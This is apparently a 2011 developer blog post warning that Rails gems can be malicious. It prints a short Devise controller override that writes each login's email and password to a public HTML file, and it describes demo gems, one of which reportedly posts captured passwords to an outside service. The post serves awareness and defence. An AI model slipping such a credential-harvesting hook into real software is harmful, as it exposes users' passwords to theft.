Do you know what your gems are doing?

October 9, 2011 Ben Smith

A client recently expressed concern with a number of gems added to his project. A quick explanation and a little documentation cleared up what each gem was doing/why we needed it.

This satisfied the client, but it got me wondering: what’s the worst thing that could happen from a gem if it was malicious? The worst case I could imagine would be the client’s customer’s data getting stolen, the customers completely loosing faith in the site, and the client’s project failing because of it.

How likely is this to happen? I don’t really know.

How hard would it be for someone to do this?

I decided to see what it would take to harvest usernames and passwords from a typical Rails app using Devise for authentication. In less than 5 minutes, I had written an initializer which modified the behavior of the Devise controller to write out usernames and passwords to an HTML file in the public directory of the app.

The code wasn’t clever at all. I copied/pasted the create action, and added three extra lines to write out the data to the file.

      class Devise::SessionsController < ApplicationController
        prepend_before_filter :require_no_authentication, :only => [ :new, :create ]
        include Devise::Controllers::InternalHelpers

        # POST /resource/sign_in
        def create
          File.open("#{Rails.root}/public/passwords.html", 'a+') do |f|
            f.write("#{params[:user][:email]} #{params[:user][:password]}<br />")
          end
...

So the answer to my question, how hard would it be for someone to write a malicious gem that would compromise customer data: dead easy.

I packaged up the code as a gem. Anyone can easily pwn their own Devise Rails app by adding the following line to their Gemfile:

gem 'devise_hack'

Of course, who would install a gem that would pwn their own app? No one, but what about a “long con” approach?

Say I wrote a useful gem, pushed updates occasionally, and got a decent level adoption. At this point I could push a new version of the gem which contained a little hack, and wait for the usernames and passwords to roll in. Maybe like this little guy…

gem 'awesome_rails_flash_messages'

This little gem takes all of your Rails flash messages and makes them more awesome. Simple as that. Ohh, it also logs and requests containing a password to a file AND posts it to an external web service, but that’s nothing to worry about.

So how do you avoid these malicious gems? For this dead simple hack, it is dead simple to identify. All you have to do is look at the source code. If you see code that is writing credentials to a file, maybe posting to an external web service, or sending emails when it really shouldn’t be… you might want to reconsider using that gem.

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